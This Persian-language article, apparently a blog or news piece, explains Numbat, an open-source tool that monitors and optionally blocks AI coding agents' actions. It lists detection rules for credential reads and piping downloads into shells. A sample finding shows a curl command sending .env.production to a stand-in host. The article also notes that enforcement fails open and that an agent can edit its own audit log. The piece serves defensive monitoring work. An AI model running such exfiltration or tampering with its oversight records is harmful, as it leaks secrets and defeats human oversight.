Numbat؛ نظارت بر کارهایی که عامل‌های AI انجام می‌دهند

Numbat چیست

Numbat به شما امکان می‌دهد ببینید یک عامل هوش مصنوعی روی ماشینی که مالک آن هستید چه کارهایی انجام داده است. این ابزار callbackهای hook و فایل‌های session را که عامل‌های کدنویسی از قبل تولید می‌کنند می‌خواند، آن‌ها را به یک قالب رویداد واحد نرمال‌سازی می‌کند و با ruleهایی تطبیق می‌دهد که در برابر رفتارهایی مانند خواندن کلید خصوصی SSH یا انتقال مستقیم یک download به shell فعال می‌شوند. Perplexity این ابزار را تحت مجوز Apache 2.0 به‌صورت open source منتشر کرد و نخستین release دارای tag آن در 29 July 2026 منتشر شد.

تمام مطالب زیر از repository پروژه و مستندات خود آن گرفته شده‌اند و در 2 August 2026 مطالعه شده‌اند. هرجا Perplexity ادعایی مطرح می‌کند، این مطلب نیز آن را به همین شرکت نسبت می‌دهد. این مطلب راهنمای نصب نیست، زیرا repository تنها چند روز عمر دارد و commandهای آن تغییر خواهند کرد.

مسئله: هیچ‌کس کارهایی را که عامل انجام داده ثبت نمی‌کند

یک عامل کدنویسی روی VPS شما فرمان‌های shell را اجرا می‌کند، فایل‌ها را می‌خواند، فایل‌ها را می‌نویسد و اتصال‌های شبکه را باز می‌کند؛ همه این کارها را با حساب کاربری‌ای انجام می‌دهد که در اختیارش گذاشته‌اید. تاریخچه shell هیچ‌کدام از این موارد را ثبت نمی‌کند، چون عامل در shell شما چیزی تایپ نمی‌کند. sshd ورود شما را ثبت می‌کند و چیزی را که مدل پس از آن تصمیم گرفته انجام دهد ثبت نمی‌کند. /var/log/auth.log فقط زمانی فعال می‌ماند که چیزی به sudo دسترسی پیدا کند. عامل رونوشت جلسه خودش را نگه می‌دارد، اما آن فایل در پوشه جلسه عامل قرار دارد، قالب آن بین releaseها تغییر می‌کند و فرایند خود عامل نیز می‌تواند در آن بنویسد.

بنابراین، وقتی کسی می‌پرسد عامل سه‌شنبه گذشته .env.production را خوانده است یا نه، پاسخ صادقانه در بیشتر serverها این است که نمی‌توانید تشخیص دهید. این خلأ دلیل ایجاد این پروژه است.

آنچه Perplexity درباره عملکرد Numbat ادعا می‌کند

README این ابزار را با عبارت «قابلیت مشاهده فعالیت عامل هوش مصنوعی در endpoint، همراه با تشخیص محلی، مسدودسازی اختیاری پیش از اجرا و بازسازی جرم‌شناختی» معرفی می‌کند. منظور از endpoint، ماشینی است که عامل روی آن اجرا می‌شود، نه یک تجهیز شبکه که از بیرون نظارت کند. این قابلیت‌ها از یکدیگر جدا هستند و اهمیت یکسانی ندارند.

تشخیص روی خود دستگاه انجام می‌شود. قواعد با CEL (زبان عبارات رایج) نوشته و به‌صورت محلی ارزیابی می‌شوند. علاوه بر این، قواعد توالی چندمرحله‌ای و پشتیبانی از قواعد سفارشی شما در YAML وجود دارد. برای فعال شدن یک قاعده، لازم نیست چیزی از دستگاه خارج شود.

مسدودسازی اختیاری و محدود است. این قابلیت فقط از طریق hookهای همگام پیش از اجرا کار می‌کند و فقط روی عامل‌هایی در دسترس است که چنین hookی را ارائه می‌دهند. این قابلیت تا زمانی که آن را فعال نکنید، خاموش است.

بازسازی پس از وقوع رویداد انجام می‌شود. numbat scan مصنوعات نشست را که عامل قبلاً روی دیسک نوشته است تجزیه می‌کند؛ بنابراین می‌توانید فعالیت مربوط به پیش از نصب هر ابزاری را بررسی کنید. پروژه دامنه این ادعا را به‌دقت مشخص می‌کند: «بازسازی داده‌های ذخیره‌شده، acquisition دیسک یا حافظه نیست و نمی‌تواند فعالیتی را که عامل ذخیره نکرده است بازیابی کند.»

خروجی، NDJSON نسخه‌بندی‌شده (JSON جداشده با خط جدید) است و رویدادها، یافته‌ها، تصمیم‌های اعمال سیاست، شاخص‌ها و خلاصه‌های اسکن را پوشش می‌دهد. در v0.1.2، نسخه schema برابر با 0.2.0 است. رکوردها به stdout یا یک فایل محلی ارسال می‌شوند و در صورت نیاز، از طریق HTTP به collectorای که خودتان اجرا می‌کنید نیز ارسال می‌شوند. این ابزار به‌صورت یک باینری ایستای Go و بدون cgo ساخته شده و برای macOS، Linux و Windows روی amd64 و arm64 ارائه می‌شود؛ بنابراین روی یک Linux VPS فقط به یک فایل نیاز دارید و لازم نیست ابتدا runtimeای نصب کنید.

Numbat واقعاً کدام agentها را می‌تواند ببیند؟

ماتریس پوشش در docs/agent-coverage.md فهرست معتبر است و پوشش آن یکدست نیست. پروژه این موضوع را به‌صراحت بیان می‌کند و آن را پنهان نمی‌کند. Claude Code، Codex، Gemini CLI، Cursor و GitHub Copilot CLI هم اسکن artifact و هم دریافت زنده با یک pre-action hook دارند. OpenClaw از نسخه 2026.7.1 به بعد یک plugin بومی دارد. تعداد زیادی از موارد با وضعیت deferred علامت‌گذاری شده‌اند. این وضعیت یعنی مسیر live hook وجود دارد، اما parser مربوط به artifact وجود ندارد. دلیل این موضوع اغلب آن است که آن agent سابقه خود را در SQLite و با یک write-ahead log ذخیره می‌کند که خواندن آن هنگام اجرای agent ایمن نیست. هنگام بررسی ماتریس در 2 August 2026، OpenCode و Cline در همین گروه قرار داشتند.

پیش از آنکه برنامه‌ای را بر اساس این ابزار تنظیم کنید، ردیف مربوط به agent خود را بررسی کنید. «پشتیبانی‌شده» تقریباً در هر ردیف معنای متفاوتی دارد.

تشخیص چگونه به نظر می‌رسد

قواعد، شناسه‌هایی دارند که کاربرد آن‌ها را مشخص می‌کند. secrets.read_private_key یک کلید SSH، اعتبارنامه‌های AWS، یک پیکربندی kube یا اطلاعات ورود به یک registry بسته را پوشش می‌دهد. exec.download_pipe_shell زمانی فعال می‌شود که خروجی curl یا wget به یک interpreter pipe شود. privilege.elevated_shell درخواست یک root shell تعاملی از طریق sudo، doas، su یا pkexec را شناسایی می‌کند. impact.cryptomining_launch با باینری‌ها و نام‌های image شناخته‌شده مربوط به miner مطابقت دارد.

قواعد توالی، رویدادهای یک session را به هم مرتبط می‌کنند. chain.secret_read_then_egress به خواندن یک فایل حاوی secret و سپس اجرای فرمانی نیاز دارد که داده‌ها را به بیرون ارسال می‌کند. README، finding زیر را از اجرای کنترل‌شده دو callback از نوع pre-action در Claude Code منتشر می‌کند، نه از یک رخداد زنده. در اینجا فقط فیلدهای مهم آن آمده است:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

به "confidence": "medium" که داخل رکورد قرار دارد توجه کنید. همچنین به توضیح پروژه درباره کل این نوع خروجی توجه کنید: «Findingها حاصل تطبیق با rule هستند، نه مدرک compromise.» یک اسکریپت deploy که یک key را می‌خواند و سپس یک build artifact را upload می‌کند، با همان rule توالی مطابقت خواهد داشت. این تطبیق صحیح است، اما alarm نادرست است؛ این وضعیت معمول هر ابزار detection است که تاکنون اجرا کرده‌اید.

مسدودسازی به‌طور پیش‌فرض فعال نیست و سیستم در حالت fail-open عمل می‌کند

هر قاعده‌ای که Numbat منتشر می‌کند، فقط برای پایش است. تبدیل یک قاعده به قاعده‌ای مسدودکننده، به اقدام آگاهانه نیاز دارد: YAML کامل قاعده را در دایرکتوری خود کپی کنید، همان شناسه را نگه دارید، enforce: true را اضافه کنید، نسخه را افزایش دهید، سپس آن policy را اعتبارسنجی و نصب کنید.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

اکنون به بخشی می‌رسیم که مشخص می‌کند تا چه اندازه باید به آن اعتماد کنید. deny در Numbat پاسخی است که به agent بازگردانده می‌شود و خود agent است که در عمل فراخوانی ابزار را رد می‌کند. راهنمای enforcement درباره زمانی که خود Numbat دچار مشکل می‌شود، صریح است: «payloadهای نامعتبر، خطاهای مرتبط با ارزیابی، panicها و خطاهای خروجی باعث suppress شدن پاسخ deny از سوی numbat می‌شوند.» اندازه ورودی hook به 4 MiB محدود است و ورودی بزرگ‌تر نیز همین مسیر را طی می‌کند.

این راهنما درباره محدودیت denyای که واقعاً ارسال می‌شود نیز صریح است: «Fail-open یعنی numbat پاسخ deny خود را ارسال نمی‌کند. این وضعیت تضمین نمی‌کند که ابزار اجرا شود: host همچنان ممکن است از شما تأیید بخواهد، درخواست را رد کند، اجرای آن را با timeout متوقف کند یا hook یا policy دیگری را اعمال کند.»

بنابراین، enforcement در اینجا یک guardrail است، نه یک مرز امنیتی. اگر فرایند crash کند، Numbat آن اقدام را مسدود نمی‌کند؛ زیرا ابزاری که هر بار دچار مشکل می‌شود و agent شما را متوقف می‌کند، ظرف یک هفته حذف خواهد شد. این مصالحه منطقی است. فقط مدل امنیتی خود را بر این فرض بنا نکنید که deny همیشه دریافت می‌شود.

جایگاه Numbat در کنار کارهایی که اکنون انجام می‌دهید

Numbat روی endpoint و درون درخت فرایند خود agent اجرا می‌شود و به‌صورت پیش‌فرض در ~/.numbat/records.ndjson می‌نویسد. agentی که با حساب کاربری شما اجرا می‌شود، می‌تواند آن فایل را بخواند. می‌تواند آن را ویرایش نیز بکند. ارزش مسیر حسابرسی دقیقاً به اندازه جداسازی پیرامون آن است؛ بنابراین همه کنترل‌هایی که از قبل دارید باید پیش از این کنترل قرار بگیرند، نه پشت آن.

قرار دادن coding agent در یک VM دورریختنی محدوده دسترسی یک اجرای مخرب را تعیین می‌کند. استفاده از یک کاربر با کمترین سطح دسترسی در VPS مانع دسترسی agent به فایل‌هایی می‌شود که نباید آن‌ها را باز کند. خارج نگه داشتن اعتبارنامه‌ها از context agent باعث می‌شود وقوع secrets.read_private_key به‌اندازه‌ای نادر باشد که هنگام فعال شدن، بررسی آن ارزش داشته باشد. همچنین sandboxی که برای Claude Code روی VPS تنظیم می‌کنید همچنان مسئول containment است.

Numbat رکورد را اضافه می‌کند؛ بنابراین رکورد را به جایی ارسال کنید که agent به آن دسترسی نداشته باشد. numbat ship و HTTP sink برای همین منظور هستند. وجود یک نسخه از stream روی ماشین دوم، تفاوت میان یک فایل log و مدرک را ایجاد می‌کند. مدل رویداد همچنین فیلدهای MCP (model context protocol) را منتقل می‌کند؛ بنابراین فراخوانی‌های ابزار که از طریق یک MCP server میزبانی‌شده روی VPS خارج می‌شوند، در همان stream مربوط به فرمان‌های shell محلی قرار می‌گیرند. این موضوع مهم است، زیرا هر چیزی که فقط bash را monitor کند، این مسیر را نمی‌بیند.

ابتدا در حالت فقط‌خواندنی آزمایش کنید

یک نسخه مشخص را نصب کنید. برای go install به Go 1.26.5 یا جدیدتر نیاز است. صفحه انتشارها باینری‌های ازپیش‌ساخته را همراه با checksumهای SHA-256 ارائه می‌کند؛ اگر ترجیح می‌دهید کد منبع را build نکنید، از آن‌ها استفاده کنید.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents عامل‌های نصب‌شده روی سیستم را شناسایی می‌کند. numbat scan artifactهای نشست را که از قبل روی دیسک قرار دارند تجزیه می‌کند و رکوردها را چاپ می‌کند. README اعلام می‌کند که این فرمان‌ها «hook نصب نمی‌کنند و پیکربندی agent را تغییر نمی‌دهند» و numbat «هرگز agentها یا فرمان‌های موجود در artifactها را اجرا نمی‌کند و فقط به sinkهای HTTP پیکربندی‌شده درخواست خروجی ارسال می‌کند». اسکن به‌صورت فقط‌خواندنی و همراه با پنهان‌سازی secretها انجام می‌شود. خروجی عادی رکوردها نیز هرگز شامل transcript خام کامل نیست.

گام بعدی، capture زنده است و پیکربندی agent را تغییر می‌دهد:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all رویدادها، یافته‌ها، indicatorها و تصمیم‌های اجرایی قابل‌اعمال را در ~/.numbat/records.ndjson می‌نویسد. دو نکته احتیاطی مستقیماً از پروژه گرفته شده است. ممکن است لازم باشد hookها پیش از اجرای واقعی، داخل agent مورد اعتماد قرار گیرند. پس از تغییر flagهایی مانند --enforce نیز باید این اعتماد دوباره بررسی شود. همچنین hook status «پیکربندی را بررسی می‌کند، نه اجرا یا تحویل را». بنابراین، نمایش وضعیت سالم ثابت نمی‌کند که رکوردها به مقصدی ارسال می‌شوند.

چرا یک مخزن با این تازگی، وابستگی محسوب نمی‌شود

نسخه‌های عمومی منتشرشده، v0.1.1 در 29 July 2026 و v0.1.2 در 1 August 2026 هستند. این مخزن هنگام نگارش این مطلب در 2 August 2026، 597 ستاره داشت. افزایش سریع این اعداد، بازتاب مخاطبان Perplexity است، نه میزان پایداری کد. ستاره‌دادن یعنی فردی صفحه را برای بررسی در آینده ذخیره کرده است.

شماره نسخه، جایگاه این پروژه را به‌روشنی نشان می‌دهد. یادداشت‌های v0.1.2 عمدتاً شامل اصلاحات مربوط به حذف امن اطلاعات محرمانه از اعتبارنامه‌ها، به‌علاوه کار روی یکسان‌سازی case bundle و telemetry هستند. باگ‌های حذف اطلاعات محرمانه، شکل مورد انتظار نقص‌های اولیه در ابزاری هستند که وظیفه‌اش خواندن ایمن transcriptهای برنامه‌های دیگر است. این باگ‌ها بیشتر خواهند شد، چون ورودی‌ها از دوازده agent می‌آیند و هرکدام قالب خود را طبق برنامه زمانی مستقل تغییر می‌دهند.

در نتیجه، دو قاعده عملی وجود دارد. در هر چیزی که نگه می‌دارید، tag را pin کنید، نه @latest. همچنین، دست‌کم تا زمانی که schema رکورد دیگر مرتب تغییر نکند، با این ابزار مانند ابزاری برای ارزیابی رفتار کنید، نه کنترلی که به آن وابسته باشید.

FAQ

آیا Numbat فرمان‌های خطرناک عامل‌های هوش مصنوعی را مسدود می‌کند؟

فقط در صورتی که خودتان آن را فعال کنید و فقط بر مبنای بهترین تلاش. همه ruleهایی که Numbat منتشر می‌کند، فقط برای monitor هستند. برای مسدودسازی، YAML مربوط به rule را در دایرکتوری خودتان کپی کنید، id آن را حفظ کنید، enforce: true را اضافه کنید، نسخه را افزایش دهید و hook را با --enforce نصب کنید. حتی در این حالت نیز deny به‌صورت یک پاسخ به agent برگردانده می‌شود و این agent است که فراخوانی را رد می‌کند. پروژه رفتار fail-open را مستند کرده است: payloadهای نادرست، خطاهای ارزیابی، panicها و خطاهای خروجی همگی باعث می‌شوند deny اعمال نشود. از آن به‌عنوان یک guardrail استفاده کنید، نه تنها مرز امنیتی خود.

Numbat از کدام agentهای هوش مصنوعی پشتیبانی می‌کند؟

پوشش پشتیبانی برای هر agent متفاوت است و در docs/agent-coverage.md در repository فهرست شده است. هنگام مطالعه آن صفحه در 2 August 2026، برای Claude Code، Codex، Gemini CLI، Cursor و GitHub Copilot CLI هم artifact scanning و هم live capture وجود داشت و OpenClaw نیز از version 2026.7.1 یک plugin بومی دارد. بسیاری از agentهای دیگر با مسیر live hook فهرست شده‌اند، اما هنوز parser مربوط به artifact ندارند. دلیل معمول این است که تاریخچه session آن‌ها در یک پایگاه داده SQLite قرار دارد که خواندن آن هنگام اجرای agent ایمن نیست. ردیف مربوط به agent خود را بخوانید، زیرا واژه «پشتیبانی‌شده» در آنجا چند سطح متفاوت را پوشش می‌دهد.

آیا agent می‌تواند در سوابق Numbat دست‌کاری کند؟

بله، اگر با همان user اجرا شود. سوابق به‌صورت پیش‌فرض در ~/.numbat/records.ndjson و روی همان machine عامل ذخیره می‌شوند؛ بنابراین هر چیزی که به آن path دسترسی نوشتن داشته باشد، می‌تواند سوابق را تغییر دهد یا حذف کند. stream را با numbat ship یا HTTP sink به یک collector ارسال کنید که agent نتواند به آن دسترسی داشته باشد و فایل محلی را به‌عنوان یک کپی کمکی نگه دارید. به همین دلیل، این ابزار isolation را تکمیل می‌کند و جایگزین آن نمی‌شود. عاملی که در یک VM دورریختنی و تحت یک user با least privilege محدود شده باشد، دسترسی بسیار کمتری به audit trail خود دارد.

آیا Numbat برای یک production server آماده است؟

نه، اگر قرار است به‌عنوان کنترلی به آن وابسته باشید. نخستین release عمومی در 29 July 2026 با version v0.1.1 منتشر شد و version v0.1.2 نیز در 1 August 2026 منتشر شد؛ بنابراین flagها و schema سوابق هنوز در حال تغییر هستند. اجرای numbat agents و numbat scan روی یک box فقط خواندنی و کم‌خطر است و نشان می‌دهد agentهای شما چه چیزهایی روی دیسک باقی گذاشته‌اند. نصب enforcement hook روی server مهم، تصمیم متفاوتی است. برای این کار باید tag مشخصی را pin کنید و برای زمانی که hook درست کار نمی‌کند، برنامه داشته باشید.